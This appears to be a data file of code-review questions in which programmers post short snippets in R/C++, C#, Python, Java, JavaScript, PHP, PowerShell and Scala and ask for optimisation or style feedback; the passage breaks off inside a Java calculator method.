texts: Counting matrix elements that have "4" or "5" as a neighbor

texts:
I have a matrix (500x500) of integers. For each entry, I need to look at its surrounding neighbours (so 8 elements) and determine what the integers are, and run a function on these integers.

Here what my function looks like right now (R code with the RCpp package).

fx2<- cppFunction('NumericMatrix getNeighbours(NumericMatrix x) {
            int nrow = x.nrow(), ncol = x.ncol();

            //create a result matrix of probabilities
            NumericMatrix outProb(nrow, ncol);

            // some counters needed to calculate probability
            int kc = 0; int kpre = 0; int ks = 0;

            // i and j loop through the elements one by one.
            //  - ignore the boundary as I dont know how to handle it for now
            for (int i = 1; i < (nrow-1); i++) {
              for (int j = 1; j < (ncol-1); j++) {

                // go through the neighbours
                for(int k = -1; k <= 1; k++){
                  for(int l = -1; l <= 1; l++){

                    // check what values the neighbours are

                    // increment the kc
                    if(x(i + k, j + l) == 4){
                      kc++;
                    }

                    // increment the ks counter
                    if(x(i + k, j + l) == 5){
                      ks++;
                    }

                    // more if statements removed for readibility

                  }
                } //end of loop for neighbours

                // calculate a probability for the resulting matrix
                outProb(i, j) = functionof(kc, ks, kpre);
              }
            }
            return outProb;
            }')

I am looking to make this code faster/more efficient.

Example of result: Suppose the functionof just doubles the value of the counter.

> health
     [,1] [,2] [,3] [,4] [,5]
[1,]    4    1    1    1    1
[2,]    1    1    1    1    1
[3,]    1    1    1    1    1
[4,]    1    1    1    1    1
[5,]    1    1    1    1    1

We see that (2, 1), (1, 2) and (2, 2) have 4 as their neighbours. So the output would be

     [,1] [,2] [,3] [,4] [,5] [,6]
[1,]    0    2    0    0    0    0
[2,]    2    2    0    0    0    0
[3,]    0    0    0    0    0    0
[4,]    0    0    0    0    0    0
[5,]    0    0    0    0    0    0
[6,]    0    0    0    0    0    0

Note that there are other elements in the matrix that have 4 as a neighbour. I've omitted that from the result matrix above.

I currently wrote the code in R but even after vectorizing/parallelizing it is still very slow. So now I've moved on to a C++ function that I can call using R's RCpp package.


texts: Retry loop for asynchronous HTTP requests

texts:
I've got a method that needs to PUT data to a web API. Sometimes the connection fails, so I needed a way to do retries, but if the retries fail, I still need to capture the exception and re-throw it.

I've got something that I "believe" is working, but I've got a stupid throw at the end. Is there a better, more concise way to do this when working with async tasks?

private const int TotalNumberOfAttempts = 10;

public static async Task<HttpResponseMessage> PutWithRetriesAsync(string url,
    HttpContent content,
    AuthenticationHeaderValue authenticationHeaderValue,
    MediaTypeWithQualityHeaderValue mediaTypeWithQualityHeaderValue)
{
    var numberOfAttempts = 0;
    ExceptionDispatchInfo capturedException;

    do
    {
        try
        {
            return await PutAsync(url, content, authenticationHeaderValue, mediaTypeWithQualityHeaderValue);
        }
        catch (AggregateException ex)
        {
            capturedException = ExceptionDispatchInfo.Capture(ex);
            numberOfAttempts++;
        }
    } while (numberOfAttempts < TotalNumberOfAttempts);

    if (capturedException != null)
    {
        capturedException.Throw();
    }
    throw new Exception("That will never be thrown");
}


texts:
Here is my implementation of John Conway's Game of Life in Python:

from copy import deepcopy

def countSurrounding(board, row, cell):
    SURROUNDING = ((row - 1, cell - 1),
                   (row - 1, cell    ),
                   (row - 1, cell + 1),
                   (row    , cell - 1),
                   (row    , cell + 1),
                   (row + 1, cell - 1),
                   (row + 1, cell    ),
                   (row + 1, cell + 1))
    count = 0
    for row, cell in SURROUNDING:
        if isInRange(board, row, cell) and board[row][cell] == True:
            count += 1
    return count

def isInRange(board, row, cell):
    return 0 <= row < len(board) and 0 <= cell < len(board[0])

def nextGeneration(board):
    nextBoard = deepcopy(board)
    for row in range(len(board)):
        for cell in range(len(board[0])):
            if board[row][cell] == True and countSurrounding(board, row, cell) not in (2, 3):
                nextBoard[row][cell] = False
            elif board[row][cell] == False and countSurrounding(board, row, cell) == 3:
                nextBoard[row][cell] = True
    return nextBoard

def printBoard(board):
    for row in board:
        for cell in row:
            if cell == True:
                print("#", end = "")
            else:
                print(".", end = "")
        print()
    print()

def main():
    board = [[False, False, False, False, False, False, False, False, False],
             [False, False, False, True , False, False, False, False, False],
             [False, True , False, True , False, False, False, False, False],
             [False, False, True , True , False, False, False, False, False],
             [False, False, False, False, False, False, False, False, False],
             [False, False, False, False, False, False, False, False, False],
             [False, False, False, False, False, False, False, False, False],
             [False, False, False, False, False, False, False, False, False],
             [False, False, False, False, False, False, False, False, False]]
    for i in range(10):
        printBoard(board)
        board = nextGeneration(board)

main()

Can anyone suggest any improvements to optimize my code?

Thanks


texts:
I have the following requirements:

  /* Collection

  Write a program that counts the number of unique words in a large text file.

  a] Store the words in a collection and report the number of unique words.

  b] Once you have created the collection, allow the user to search it to see whether various words appear in the text file and to get the count if present

  */

I have implemented the following code to satisfy the above requirements. Please review the code and give suggestions to make this code more clear,  exactly correct and optimized.

import java.util.*;
import java.io.*;
public class test5
{
    public static void main(String[]args) throws FileNotFoundException
    {

        Scanner s = new Scanner(new File("test.txt"));
        ArrayList<String> wordList = new ArrayList<String>();
        Map<String, Integer> wordCount = new HashMap<String, Integer>();

        while (s.hasNext())
        {
            wordList.add(s.next());
        }

        HashSet<String> hset = new HashSet<String>(wordList);

        System.out.println("Count of Unique words from file is: "+hset.size());

        for(String word: wordList)
        {
            Integer count = wordCount.get(word);
            wordCount.put(word, (count==null) ? 1 : count+1);
        }
        System.out.println(wordCount);
    }
}


texts: Selecting currencies on a form using Selenium

texts:
I have written the following code for the selenium Python select function and the code works fine.

Select(self.driver.find_element_by_id("currencyid")).select_by_visible_text("AUD")
Select(self.driver.find_element_by_id("excur")).select_by_visible_text("AUD")

select1 = Select(self.driver.find_element_by_id("currencyid")).first_selected_option.text
select2 = Select(self.driver.find_element_by_id("excur")).first_selected_option.text
assert select1 == "USD"
assert select2 == "CAD"

Is there anything I can do this to reduce the steps and to make it cleaner? Do I need to define the ids twice?


texts:
I created an algorithm to create lists of anagrams
The input is ["eat", "tea", "tan", "ate", "nat", "bat"]
Then, the output should be:
[["eat","tea","ate"],["tan","nat"],["bat"]]
Each array is words that are anagram.
My solution is:
function group(input) {
    let result = [];
    if(input.length === 0){
        return result;
    }

    for(let i=0; i<input.length; i++){
        let check = true;
        for(let j=0; j<result.length; j++){
            if(result[j].includes(input[i])){
                check = false;
            }
        }
        if(check){
            result.push(checkAnagrams(input, i));
        }
    }

    return result;
}

function checkAnagrams(aStr, i){
    let anagrams = [];
    anagrams.push(aStr[i]);
    for(let j=0; j<aStr.length; j++){
        if(i !== j){
            if(isAnagram(aStr[i], aStr[j])){
                anagrams.push(aStr[j]);
            }
        }
    }
    return anagrams;
}

function isAnagram(str1, str2) {
    // split => string into array
    // sort => sort the array
    // join => string to array
    // trim => remove any space
    const string1 = str1.split("").sort().join().trim();
    const string2 = str2.split("").sort().join().trim();
    if(string1 === string2){
        return true;
    }
    return false;
}

I know it works, but I was wondering if there is a better way to implement it.
Thanks


texts:
Can someone have a look at my script and maybe find something which can be optimized, as there shall be later 100 of it running.

First of all this script shall be triggered once per day to receive data from a website into a sheet called "getdata". Some fields of "getdata" are transferred to "blindcopy" in a certain order. After that the found data shall be put into a sheet called "monitoring" by deleting first row of this sheet and filling the data from "blindcopy" to the row after the last row of "monitoring". These data is referenced to other sheets and finally to the sheet "Output". In the sheet "Output" some cells are colored depending on their relative difference to other cells (first set color of all text in E7:E10 red and if any cell in this range is bigger than its corresponding cell in column D then its text color is set to green).

To not overflow the importXML command to the website on the beginning of the script the given URL is set to a cell and from there it is deleted at the end of the script again. This is because I do not want to call the importxml command everytime when I or others view the "Output" sheet, where none of the data is displayed coming directly via importxml, but it would be called, even if the data will not be displayed because the displayed data on "Output" is referencing to sheets where the importxml commands are executed (I hope I could explain this properly).

OK, the script is working fine no problems with that. But as I want to use this script in 100 different spreadsheets triggered on different times of the day once every day I think I might run into "exceeding CPU time" error. And before that I want to make sure that I have stripped the script down to the minimum (like I changed the getValue to getValue*s*).

It would be fine if someone could have a look into it, as there might be something to improve.

function myFunction() {
  // Open spreadsheet

  var docid = "some_long_strange_id_following_the_key=_in_the_URL_of_the_spreadsheet"
  var doc = SpreadsheetApp.openById(docid);
  var getsheet = doc.getSheetByName("getdata");
  // Get url from C1 and insert to multiple-referenced cell C4
  var cellreference = getsheet.getRange("C1");
  var url = cellreference.getValue();
  var cellreference = getsheet.getRange("C4");
  cellreference.setValue(url);
  // Transferring data from "blindcopy" to "monitoring"
  var getsheet = doc.getSheetByName("monitoring");
  getsheet.deleteRow(1)
  var sheetFrom = doc.getSheetByName("blindcopy");
  var sheetTo = doc.getSheetByName("monitoring");
  var lastRow = sheetFrom.getLastRow();
  var cell = sheetFrom.getRange('A1').offset(lastRow, 0);
  var rowTo = sheetTo.getLastRow() + 1;
  for( var i = 1; i < 33; i++) {
     sheetTo.getRange(rowTo, i).setValues( sheetFrom.getRange(lastRow, i).getValues());
  }
  // Compare values1 to values2 for the coloring
  var s = doc.getSheetByName('Output');
  var values1Rule1 = s.getRange('E7:H10').getValues();
  var values2Rule1 = s.getRange('D7:D10').getValues();
  var matchList = [];
  for (var row in values1Rule1) {
    for (var col in values1Rule1) {
      for (var row2 in values2Rule1) {
        if (values1Rule1[row][col] >= values2Rule1[row][0])
          matchList.push(s.getRange('E7').offset(row, col, 1, 1).getA1Notation()); }}}
  // Turn values1 red first
  s.getRange('E7:H10').setFontColor('RED');
  // Then only turn matches green
  for (var m in matchList)
    s.getRange(matchList[m]).setFontColor('GREEN');
  // delete C4 in "getdata" to avoid too much traffic to URL by importxml due to many lookups of "Output"
  var getsheet = doc.getSheetByName("getdata");
  var blubb = "blockxmlimport";
  var cellreference = getsheet.getRange("C4");
  cellreference.setValue(blubb);
}


texts: Implementation of cp program that prints the number of bytes copied

texts:
I have written the code for implementation of the cp program that prints the number of bytes copied when the user presses Ctrl-C. Could someone please review this code and provide feedback. Thanks a lot.

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<error.h>
#include<signal.h>
#define buffer_size 512

void signal_handler(int num);
void write_buf(int des_fd, char *buffer, size_t rlen, int *bytes);
int flag = 0;

void signal_handler(int num)
{
    printf("The caught signal number is : %d\n", num);
    flag = 1;
}

void write_buf(int des_fd, char *buffer, size_t rlen, int *bytes)
{
    int wlen;

    while (1) {
        wlen = write(des_fd, buffer, rlen);
        if (wlen == -1)
            error(1, 0, "error in writing the file\n");
        *bytes = *bytes + wlen;
        buffer = buffer + wlen;
        rlen = rlen - wlen;
        if (rlen == 0)
            break;
    }
}

int main()
{
    int src_fd;
    int des_fd;
    int rlen;
    int bytes;
    char buffer[buffer_size];

    signal(SIGINT, signal_handler);
    src_fd = open("src_text", O_RDONLY);
    if (src_fd == -1)
        error(1, 0, "error in opening the source-file\n");
    des_fd = open("des_txt", O_WRONLY);
    while (1) {
        rlen = read(src_fd, buffer, sizeof(buffer));
        if (rlen == -1)
            error(1, 0, "error in reading the file\n");
        if (rlen == 0)
            break;
        write_buf(des_fd, buffer, rlen, &bytes);
        if (flag == 1)
            printf("The number of bytes copied is :%d\n", bytes);
        flag = 0;
    }
}
```


texts: Sort ObservableCollection after added new item

texts:
For a WPF application, I have to sort the items in ObservableCollection after Added new item.

public void UpdateSource(ObservableCollection<SomeType> source, SomeType newItem)
{
    source.Add(newItem);
    SortSource(source, newItem);
}

private void SortSource(ObservableCollection<SomeType> source, SomeType item)
{
    var oldIndex = source.IndexOf(item);
    var list = source.OrderBy(_=>_.SomeProperty).ToList();
    var newIndex = list.IndexOf(item);

    source.Move(oldIndex, newIndex);
}

In order to keep the observable functionality for binding element, the ObservableCollection reference cannot be changed, so I used an assistance list to help me sort the souce.

Any improvement about this?


texts: LeetCode on Longest Palindromic Substring in Python

texts:
This is a programming question from LeetCode:

Given a string s, return the longest palindromic substring in s.
Example 1:
Input: s = "babad" Output: "bab" Note: "aba" is also a valid answer.

Below is my code that fails the following input because of "Time Limit Exceeded":

"glwhcebdjbdroiurzfxxrbhzibilmcfasshhtyngwrsnbdpzgjphujzuawbebyhvxfhtoozcitaqibvvowyluvdbvoqikgojxcefzpdgahujuxpiclrrmalncdrotsgkpnfyujgvmhydrzdpiudkfchtklsaprptkzhwxsgafsvkahkbsighlyhjvbburdfjdfvjbaiivqxdqwivsjzztzkzygcsyxlvvwlckbsmvwjvrhvqfewjxgefeowfhrcturolvfgxilqdqvitbcebuooclugypurlsbdfquzsqngbscqwlrdpxeahricvtfqpnrfwbyjvahrtosovsbzhxtutyfjwjbpkfujeoueykmbcjtluuxvmffwgqjgrtsxtdimsescgahnudmsmyfijtfrcbkibbypenxnpiozzrnljazjgrftitldcueswqitrcvjzvlhionutppppzxoepvtzhkzjetpfqsuirdcyqfjsqhdewswldawhdyijhpqtrwgyfmmyhhkrafisicstqxokdmynnnqxaekzcgygsuzfiguujyxowqdfylesbzhnpznayzlinerzdqjrylyfzndgqokovabhzuskwozuxcsmyclvfwkbimhkdmjacesnvorrrvdwcgfewchbsyzrkktsjxgyybgwbvktvxyurufsrdufcunnfswqddukqrxyrueienhccpeuqbkbumlpxnudmwqdkzvsqsozkifpznwapxaxdclxjxuciyulsbxvwdoiolgxkhlrytiwrpvtjdwsssahupoyyjveedgqsthefdyxvjweaimadykubntfqcpbjyqbtnunuxzyytxfedrycsdhkfymaykeubowvkszzwmbbjezrphqildkmllskfawmcohdqalgccffxursvbyikjoglnillapcbcjuhaxukfhalcslemluvornmijbeawxzokgnlzugxkshrpojrwaasgfmjvkghpdyxt"

class Solution(object):

    def longestPalindrome(self, s):
        """
        :type s: str
        :rtype: str
        """
        if len(s) == 0:
            return None
        if len(s) == 1:
            return s

        P = [[False]*len(s) for i in range(len(s))]

        for i in range(len(s)):
            P[i][i]   = True

        for i in range(len(s)-1):
            P[i][i+1] = (s[i]==s[i+1])

        for s_len in range(3,len(s)+1):
            for i in range(len(s)+1-s_len):
                P[i][i+s_len-1] = P[i+1][i+s_len-2] and (s[i]==s[i+s_len-1])

        ip = 0
        jp = 0
        max_len = 1

        for i in range(len(s)):
            for j in range(len(s)):
                if P[i][j] and j+1-i > max_len:
                    max_len = j+1-i
                    ip = i
                    jp = j
                    continue

        return s[ip:jp+1]

I was trying to follow the following approach described in the site solution. Could anyone help to see how to make my code more efficient?


texts: Display data from two MySQL database tables

texts:
This is my first attempt at PHP PDO. I needed to get data from two tables in my MySQL database. I'm pleased to say the code works, and I was just wondering if what I've done is correct.

<?php

// MySQL Database Connection
$db = new PDO('mysql:host=localhost;dbname=database;charset=utf8mb4', 'root', '');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

// Display Data
foreach($db->query('SELECT * FROM data1 LEFT JOIN data2 ON data1.id = data2.id WHERE data1.id=1') as $row) {
    // Data is displayed in their respected places.
}

?>
<!doctype html>

<meta charset="utf-8">

<title>Title</title>
<meta name="description" content="Description">
<meta name="author" content="Author">

<link rel="stylesheet" href="css/styles.css">

        <?php echo $row['sample1']; ?>
        <?php echo $row['sample2']; ?>

        <?php echo $row['extra1']; ?>
        <?php echo $row['extra2']; ?>


texts:
I'm following Karate Chop kata for a binary search. I really wanted to avoid built in functionality within the language. I'm pretty new to C# so any recommendations is greatly appreciated.

Spec: Binary chop on an int array to find the index.

  A binary chop (sometimes called the more prosaic binary search) finds
  the position of value in a sorted array of values. It achieves some
  efficiency by halving the number of items under consideration each
  time it probes the values: in the first pass it determines whether the
  required value is in the top or the bottom half of the list of values.
  In the second pass in considers only this half, again dividing it in
  to two. It stops when it finds the value it is looking for, or when it
  runs out of array to search. Binary searches are a favorite of CS
  lecturers.

http://codekata.com/kata/kata02-karate-chop/

public static int Chop(int val, int[] subject)
{
    // if the array count is odd
    if (subject.Length % 2 != 0)
    {
        // if the last index is the value, we're done
        if (subject[subject.Length - 1] == val)
        {
            return subject.Length - 1;
        }
        // remove the last index so that the array length is even
        subject = new ArraySegment<int>(subject, 0, subject.Length - 1).ToArray();
    }
    // get the mid point
    var mid = subject.Length / 2;
    if (mid > 4)
    {
        int[] chopped = new int[mid];
        Array.Copy(subject, chopped, mid);
        if (chopped[chopped.Length - 1] > val)
        {
            Chop(val, chopped);
        }
        else
        {
            var segment = new ArraySegment<int>(subject, mid, subject.Length - mid);
            Chop(val, segment.ToArray());
        }
    }
    int index = -1;

    for (int j = 0; j < subject.Length; j++)
    {
        if (val == subject[j])
        {
            if (index != -1)
            {
                duplicateIndexes.Add(index);
                duplicateIndexes.Add(j);
            }
            index = j;
        }
    }
    return index;
}


texts:
Is there any way to refactor this?

objLeadTimeReportResult =
    (from prop in propList
     join book in booking on prop.PropertyId equals book.PropertyId into j
     from book in j.DefaultIfEmpty()
     group book by new { prop.PropertyId, prop.PropertyName } into groupedLeadTime
         select new LeadTimeReportResult
         {
             PropertyId = groupedLeadTime.Key.PropertyId,
             PropertyName = groupedLeadTime.Key.PropertyName,
             Today = groupedLeadTime.Sum(item => ((item.CheckInDate.Date - item.BookingDate.Date).Days == 0) ? 1 : 0),
             Days1_2 = groupedLeadTime.Sum(item => ((item.CheckInDate.Date - item.BookingDate.Date).Days >= 1 && (item.CheckInDate.Date - item.BookingDate.Date).Days <= 2) ? 1 : 0),
             Days3_6 = groupedLeadTime.Sum(item => ((item.CheckInDate.Date - item.BookingDate.Date).Days >= 3 && (item.CheckInDate.Date - item.BookingDate.Date).Days <= 6) ? 1 : 0),
             Days7_10 = groupedLeadTime.Sum(item => ((item.CheckInDate.Date - item.BookingDate.Date).Days >= 7 && (item.CheckInDate.Date - item.BookingDate.Date).Days <= 10) ? 1 : 0),
             Days11_15 = groupedLeadTime.Sum(item => ((item.CheckInDate.Date - item.BookingDate.Date).Days >= 11 && (item.CheckInDate.Date - item.BookingDate.Date).Days <= 15) ? 1 : 0),
             Days16_30 = groupedLeadTime.Sum(item => ((item.CheckInDate.Date - item.BookingDate.Date).Days >= 16 && (item.CheckInDate.Date - item.BookingDate.Date).Days <= 30) ? 1 : 0),
             Days31_45 = groupedLeadTime.Sum(item => ((item.CheckInDate.Date - item.BookingDate.Date).Days >= 31 && (item.CheckInDate.Date - item.BookingDate.Date).Days <= 45) ? 1 : 0),
             Days46_60 = groupedLeadTime.Sum(item => ((item.CheckInDate.Date - item.BookingDate.Date).Days >= 46 && (item.CheckInDate.Date - item.BookingDate.Date).Days <= 60) ? 1 : 0),
             Days60Plus = groupedLeadTime.Sum(item => ((item.CheckInDate.Date - item.BookingDate.Date).Days > 60) ? 1 : 0)
         }).ToList();

Additional Information

My senior programmer told me to use some instead of count, he claimed that it would make better performance when using on MSSQL Server.


texts:
So I'm starting out and doing some code challenges in between book and tutorial learning and was hoping to get some general feedback on code readability and use of comments.

I know it's sometimes hard to understand your own code after you wrote it so my question is - how easy is it to understand this one based on comments?

Do you think I'm missing anything crucial? Any general feedback welcome, thanks.

/*
https://edabit.com/challenge/SEzYX5qtTR4WcZeR3
An isogram is a word that has no repeating letters, consecutive or
nonconsecutive.Create a function that takes a string and returns
either true or false depending on whether or not it's an "isogram".
Examples
isIsogram("Algorism") ➞ true
isIsogram("PasSword") ➞ false
// Not case sensitive.
isIsogram("Consecutive") ➞ false
*/

#include <iostream>
#include <ctype.h> // to use the toupper function which takes a letter
character and returns the upper case ASCII integer
using namespace std;

int main()
{
    string input_string;
    string output_string;
    bool isogram_check = true; // by default the program assumes that    everything is an isogram and then tries to find repeating letters to assert that it's not an isogram

    cout << "Enter a string." << endl;
    cin >> input_string;

    for (int i = 0; i < input_string.length(); i++) // this loop takes the input string and converts it to all upper case letters.
    {
        output_string = output_string + char(toupper(input_string[i]));
    }

    // cout << output_string << endl;
    // the above line is to test the toupper output

    for (int i = 0; i < output_string.length(); i++)       // the first loop decides WHAT to compare to something else, the second loops decides what that SOMETHING ELSE is.
    {
        for (int o = i+1; o < output_string.length(); o++) // this loop takes the character at position i and compares it to the character at i+1 then i+2, etc. by iterating o.
        {                                                  // in the above comment, i+1 = o since we iterated i once right at the beginning.
            if (output_string[i] == output_string[o])      // when the loop finds two of the same character within the string it brakes out of both loops
            {
                isogram_check = false;
                break;
            }
        }

        if (isogram_check == false)
        {
            break;
        }
    }

    if (isogram_check == false)
    {
        cout << input_string << " is not an isogram.\n";
    }
    else
    {
        cout << input_string << " is an isogram.\n";
    }
}


texts: Complex if statements in authentication method

texts:
I had asked questions about my entire class which I'll flag for closing soon. It appeared to be a little too broad for 1 post so I chopped it up and will be asking a little more specific questions separately.

In my Application Layer I have a class AuthService containing the following method with a code structure that has gotten quite complex with if statements that I'm unable to re-factor a better way.

I'd appreciate anybody who could review this piece of code and give me suggestions on  improving / optimizing the design of it. Any other suggestions are welcome as well.

public function findLoggedInUser()
{
    if (($userData = $this->httpSession->getParameter('user')) && isset($userData['id'])) {
        // User found in current http session
        return $this->userMapper->findById($userData['id']);
    } elseif ($httpSessionData = $this->httpCookie->getParameter('usess')) {
        if (isset($httpSessionData['uid'], $httpSessionData['sno'], $httpSessionData['token'])) {
            if ($user = $this->userMapper->findById($httpSessionData['uid'])) {
                if ($httpSession = $this->httpSessionMapper->findByUserAndSeriesNo($user, $httpSessionData['sno'])) {
                    if (password_verify($httpSessionData['token'], (string) $httpSession->getTokenHash()) {
                        // Generate new http session entity tokens
                        $token['raw']  = new Token(CryptoCharGen::numeric(60));
                        $token['hash'] = new TokenHash(password_hash((string) $token['raw'], PASSWORD_BCRYPT, ['cost' => 4]));

                        // Update and persist http session entity with new token
                        $httpSession->setTokenHash($token['hash']);

                        $this->httpSessionMapper->update($httpSession);

                        // Issue new http cookie usess with updated http session recovery data
                        $this->httpCookie->setParameter('usess', [
                            'uid'   => (string) $httpSession->getUser()->getId(),
                            'sno'   => (string) $httpSession->getSeriesNo(),
                            'token' => (string) $token['raw']
                        ], 60 * 60 * 24 * 90);

                        // User has been found
                        return $httpSession->getUser();
                    } else {
                        // Token invalid, sabotage assumed
                        // Invalidate all persisted http sessions of this user
                        $this->httpSessionMapper->deleteAllByUser($user);

                        $this->httpCookie->destroy('usess');
                    }
                } else {
                    // Destroy invalid cookie
                    $this->httpCookie->destroy('usess');
                }
            } else {
                // Destroy invalid cookie
                $this->httpCookie->destroy('usess');
            }
        } else {
            // Destroy invalid cookie
            $this->httpCookie->destroy('usess');
        }
    }
}


texts: Finding the maximum number of id's among all weeks available

texts:
this is a really short code, but I'm trying to improve my Python skills. I've got a DataFrame, with a week variable, for every week I want to know the number of different id's in that week, and then get the maximum number of id's among all weeks. I achieve that doing this:

listt=[]
for i in range(df.week.max()):
    listt.append(df[df.week==i].id.nunique())
np.array(listt).max()

It feels to me that this can probably be done in a one-liner. How would you do it? Thanks


texts:
I need to combine 3 sets of arrays that contain PsCustomObject elements, such that the unique elements of each array is only listed once, but has properties that indicate the source.

# create test cases
$a = [PsCustomObject]@{Id='AAA';Name='Dev'}
$b = [PsCustomObject]@{Id='BBB';Name='Dev/Test'}
$c = [PsCustomObject]@{Id='CCC';Name='Dev/Prod'}
$d = [PsCustomObject]@{Id='DDD';Name='Dev/Test/Prod'}
$e = [PsCustomObject]@{Id='EEE';Name='Test'}
$f = [PsCustomObject]@{Id='FFF';Name='Test/Prod'}
$g = [PsCustomObject]@{Id='GGG';Name='Prod'}

# add to arrays
$dev=@()
$dev += $a
$dev += $b
$dev += $c
$dev += $d

$test=@()
$test += $b
$test += $d
$test += $e
$test += $f

$prod=@()
$prod+=$c
$prod+=$d
$prod+=$f
$prod+=$g

# array to contain the results
$result=@()

# process dev list; decorate w/ additional properties
$dev | % {
    Add-Member -InputObject $_ -NotePropertyName "DEV" -NotePropertyValue "Y"
    Add-Member -InputObject $_ -NotePropertyName "TEST" -NotePropertyValue $null
    Add-Member -InputObject $_ -NotePropertyName "PROD" -NotePropertyValue $null
    # add to results
    $result += $_
}

# process test list
$test | % {

    $match = $result -match $_.Id

    # if a test element matches an element in the results
    if ($match) {
        # set the column
        $match[0].TEST='Y'
    }
    # if this element is not in the results
    else {
        # additional properties
        Add-Member -InputObject $_ -NotePropertyName "DEV" -NotePropertyValue $null
        Add-Member -InputObject $_ -NotePropertyName "TEST" -NotePropertyValue "Y"
        Add-Member -InputObject $_ -NotePropertyName "PROD" -NotePropertyValue $null
        # add to results
        $result += $_
    }
}

# process test list
$prod | % {

    $match = $result -match $_.Id

    # if a test element matches an element in the results
    if ($match) {
        # set the column
        $match[0].PROD='Y'
    }
    else {
        # additional properties
        Add-Member -InputObject $_ -NotePropertyName "DEV" -NotePropertyValue $null
        Add-Member -InputObject $_ -NotePropertyName "TEST" -NotePropertyValue $null
        Add-Member -InputObject $_ -NotePropertyName "PROD" -NotePropertyValue 'Y'
        # add to results
        $result += $_
    }
}

# display the results
$result | format-table -AutoSize

the results of the script:

Id  Name          DEV TEST PROD
--  ----          --- ---- ----
AAA Dev           Y
BBB Dev/Test      Y   Y
CCC Dev/Prod      Y        Y
DDD Dev/Test/Prod Y   Y    Y
EEE Test              Y
FFF Test/Prod         Y    Y
GGG Prod                   Y

I realize that I could refactor the search logic into a single function, but my concern is the search logic itself.

Is there a more-efficient way to perform this logic?


texts:
I've got 2 simple text files:

besede.txt
To je vsebina datoteke z besedami. V njej so razlicne besede ki imajo lahko pomen ali pa tudi ne.

skrivno.txt
4 3 19 2 3 2 4 3

I wrote a program which receives these 2 files' names as arguments. It finds pairs of numbers in skrivno.txt and the first number in the pair is the index of the word in besede.txt; the second number in the pair is the index of the letter in that word.
So in this case I get:

4th word, 3rd letter - T
19th word, 2nd letter - E
3rd word, 2nd letter - S
4th word, 3rd letter - T

So, TEST.
Here is my program that does this. I'm open to suggestions on what I could improve and do better, etc.
public class meow {
    public static void main(String args[]) throws Exception{
        Scanner sc1 = new Scanner(new File(args[0])); //besede.txt
        Scanner sc2 = new Scanner(new File(args[1])); //skrivno.txt
        int inW = 0, inL = 0; //index of word, index of line
        String text = "", code = "";
        while(sc1.hasNext()){
            text += sc1.next() + " ";
        }
        String[] text2 = text.split(" ");
        while(sc2.hasNext()){
            inW = sc2.nextInt();
            inL = sc2.nextInt();
            if(inW == 0 && inL == 0){
                code += " ";
            }
            code += text2[inW-1].charAt(inL-1);
        }
        System.out.printf("%s\n", code);
    }
}


texts:
I'm currently in the process of learning scala, and I'm looking for some best practices/proper idioms for the use of pattern matching with BigInts.  I'm writing some algorithmic code (for Project Euler) as a way to learn the language.

The problem I am running into is what is the best idiomatic way to match a BigInt, since there's a type conversion problem if I try to write case 1 => and BigInt isn't a case class.  Is there a canonical way to do this, or should I just give up and use if statements?

The following is one possible pattern:

def pollardRho(n: BigInt): BigInt = {
  val one = BigInt(1)

  n match {
    case `one` => n
    //additional cases here
  }
}

This one just feels wrong: A hack to get around the fact that I can't match it directly, especially with the backticks in there to keep scala from trying to assign the resulting value to one or when I have to do it for more than a single value or in a single case.

Another possibility:

def pollardRho(n: BigInt): BigInt = {

  n match {
    case _ if n == 1 => n
    //additional cases here
  }
}

This sort of pattern appeals to the Erlang programmer in me, but I have some concerns:

Given the warnings I've read not to treat Scala like any other language, I am not sure that my instinct here is not an anti-pattern (or at least considered less readable) in the scala world.
It feels like there might be cleaner way to use a custom PartialFunction instead of n match if what I am fundamentally going to do is just a series of tests around n.  I am not sure, however, exactly what that would look like (most of the examples of PartialFunctions I've seen don't look quite like this application).

My question is, out of the array of possibilities in scala, which one is the best/most readable/most idiomatic?


texts:
Below are the two things I'm trying to solve, logically. This is just a proof of concept; and I'm not implementing this on real data nor via full plugin at this time. Just looking at logic and syntax solutions.

Below are the (2) requirements.

1.) Given an API route for retrieving a specific record, do the following:

Get the id param
Return a 404 if the record isn't found
Return a response with the record if it is found

Route format:

/publishers/(?P<id>\d+)

/publishers/397

2.) Add a WordPress hook to determine the value of the visible property on some item. Then use that hook elsewhere to change the value to false;

Below is what I have so far. Which appears correct; but just would like to see if there is a more optimal way, and/or this is still best approach. Just some feedback on my code solution; via the above two points.

My Code solutions:

<?php
function get_publisher( \WP_REST_Request $request ) {
    $request = json_decode( $request );
    $publisher_id = $request[ 'ID' ];
    if ( empty( $publisher ) ) {

        $response = [
            'status'    => 404,
            'data'      => [
                'errors' => [
                        'general' => 'Sorry, no record was found.'
                ],
            ],
        ];
        return json_encode( $response );
    }
    $response = [
        'status'    => 200,
        'data'      => [
            'publisher' => $publisher,
        ]
    ];
    return json_encode( $response );
}
function modify_item( $item ) {
    $item->visible = apply_filters( 'item_visibility', true );

    return $item;
}
function hide_item() {
    return false;
}
add_filter( 'item_visibility', 'hide_item' );


texts:
I have made a basic calculator using methods. This is my first attempt at using methods and would like to see if I can improve on this as there is a lot of repeated code.

import java.util.Scanner;

public class Calculator {

    public static void main(String[] args) {

        Scanner kb = new Scanner(System.in);

        System.out.println("Simple Calculator");

        System.out.println("\nHere are your options:");
        System.out.println("\n1. Addition");
        System.out.println("2. Subtraction");
        System.out.println("3. Division");
        System.out.println("4. Multiplication");

        System.out.print("\nWhat would you like to do?: ");
        int choice = kb.nextInt();
        System.out.println();

        if (choice == 1){
            addition();
        }
        else if (choice == 2){
            subtraction();
        }
        else if (choice == 3){
            division();
        }
        else if (choice == 4){
            multiplication();
        }

        System.out.println();
        kb.close();
    }

    public static void addition(){

        int nOne, nTwo;
        Scanner kb = new Scanner(System.in);

        System.out.println("Addition");

        System.out.print("\nFirst Number: ");
        nOne = kb.nextInt();

        System.out.print("\nSecond Number: ");
        nTwo = kb.nextInt();

        kb.close();
        System.out.println("\nSum: " + nOne + " + " + nTwo + " = " + (nOne + nTwo));
    }

    public static void subtraction(){
        int nOne, nTwo;
        Scanner kb = new Scanner(System.in);

        System.out.println("Subtraction");

        System.out.print("\nFirst Number: ");
        nOne = kb.nextInt();

        System.out.print("\nSecond Number: ");
        nTwo = kb.nextInt();

        kb.close();
        System.out.println("\nSum: " + nOne + " - " + nTwo + " = " + (nOne - nTwo));
    }

    public static void division(){
